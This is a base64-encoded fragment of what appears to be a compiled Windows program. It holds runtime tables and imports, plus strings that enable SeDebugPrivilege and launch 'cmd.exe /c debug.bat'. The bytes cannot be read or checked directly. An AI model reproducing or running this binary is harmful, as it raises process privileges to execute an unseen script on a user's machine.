AAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0dldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAAAAAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAAAAAAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAAAAAABVAFMARQBSADMAMgAuAEQATABMAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5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lcwBBRFZBUEkzMi5kbGwAAB4BU2hlbGxFeGVjdXRlQQBTSEVMTDMyLmRsbADLAUdldEN1cnJlbnRUaHJlYWRJZAAAWwFGbHNTZXRWYWx1ZQCMAUdldENvbW1hbmRMaW5lQQDOBFRlcm1pbmF0ZVByb2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAYBFJ0bENhcHR1cmVDb250ZXh0ACUEUnRsVW53aW5kRXgA7gBFbmNvZGVQb2ludGVyAFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAAAIAkdldExhc3RFcnJvcgAAWAFGbHNBbGxvYwAA1wJIZWFwRnJlZQAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzAMsARGVjb2RlUG9pbnRlcgB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AGQJHZXRNb2R1bGVGaWxlTmFtZUEAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANMCSGVhcEFsbG9jALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAeAFHZXRDUEluZm8AbgFHZXRBQ1AAAD4CR2V0T0VNQ1AAAAwDSXNWYWxpZENvZGVQYWdlANoCSGVhcFJlQWxsb2MAQQNMb2FkTGlicmFyeVcAADQFV3JpdGVGaWxlABoCR2V0TW9kdWxlRmlsZU5hbWVXAADcAkhlYXBTaXplAAAvA0xDTWFwU3RyaW5nVwAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAHACR2V0U3RyaW5nVHlwZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyot8tmSsAAM1dINJm1P//6HMAgAEAAAAAAAAAAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAAAAAAAOhzAIABAAAAAAAAAAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAP///////////////4AKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6HMAgAEAAAAAAAAAAAAAAC4/QVZ0eXBlX2luZm9AQAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAAAADYdwCAAQAAANR3AIABAAAA0HcAgAEAAADMdwCAAQAAAMh3AIABAAAAxHcAgAEAAADAdwCAAQAAALh3AIABAAAAsHcAgAEAAACodwCAAQAAAJh3AIABAAAAiHcAgAEAAAB8dwCAAQAAAHB3AIABAAAAbHcAgAEAAABodwCAAQAAAGR3AIABAAAAYHcAgAEAAABcdwCAAQAAAFh3AIABAAAAVHcAgAEAAABQdwCAAQAAAEx3AIABAAAASHcAgAEAAABEdwCAAQAAAEB3AIABAAAAOHcAgAEAAAAodwCAAQAAABx3AIABAAAAFHcAgAEAAABcdwCAAQAAAAx3AIABAAAABHcAgAEAAAD8dgCAAQAAAPB2AIABAAAA6HYAgAEAAADYdgCAAQAAAMh2AIABAAAAwHYAgAEAAAC8dgCAAQAAALB2AIABAAAAmHYAgAEAAACIdgCAAQAAAAkEAAABAAAAAAAAAAAAAACAdgCAAQAAAHh2AIABAAAAcHYAgAEAAABodgCAAQAAAGB2AIABAAAAWHYAgAEAAABQdgCAAQAAAEB2AIABAAAAMHYAgAEAAAAgdgCAAQAAAAh2AIABAAAA8HUAgAEAAADgdQCAAQAAAMh1AIABAAAAwHUAgAEAAAC4dQCAAQAAALB1AIABAAAAqHUAgAEAAACgdQCAAQAAAJh1AIABAAAAkHUAgAEAAACIdQCAAQAAAIB1AIABAAAAeHUAgAEAAABwdQCAAQAAAGh1AIABAAAAWHUAgAEAAABAdQCAAQAAADB1AIABAAAAIHUAgAEAAACgdQCAAQAAABB1AIABAAAAAHUAgAEAAADwdACAAQAAANh0AIABAAAAyHQAgAEAAACwdACAAQAAAJh0AIABAAAAjHQAgAEAAACEdACAAQAAAHB0AIABAAAASHQAgAEAAAAwdACAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAILMAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgswCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCzAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAILMAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgswCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYL4AgAEAAAAAAAAAAAAAAAAAAAAAAAAA4IMAgAEAAABwiACAAQAAAPCJAIABAAAAMLMAgAEAAADwtQCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5egAAAAAAAEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5egAAAAAAAEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGC3AIABAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyA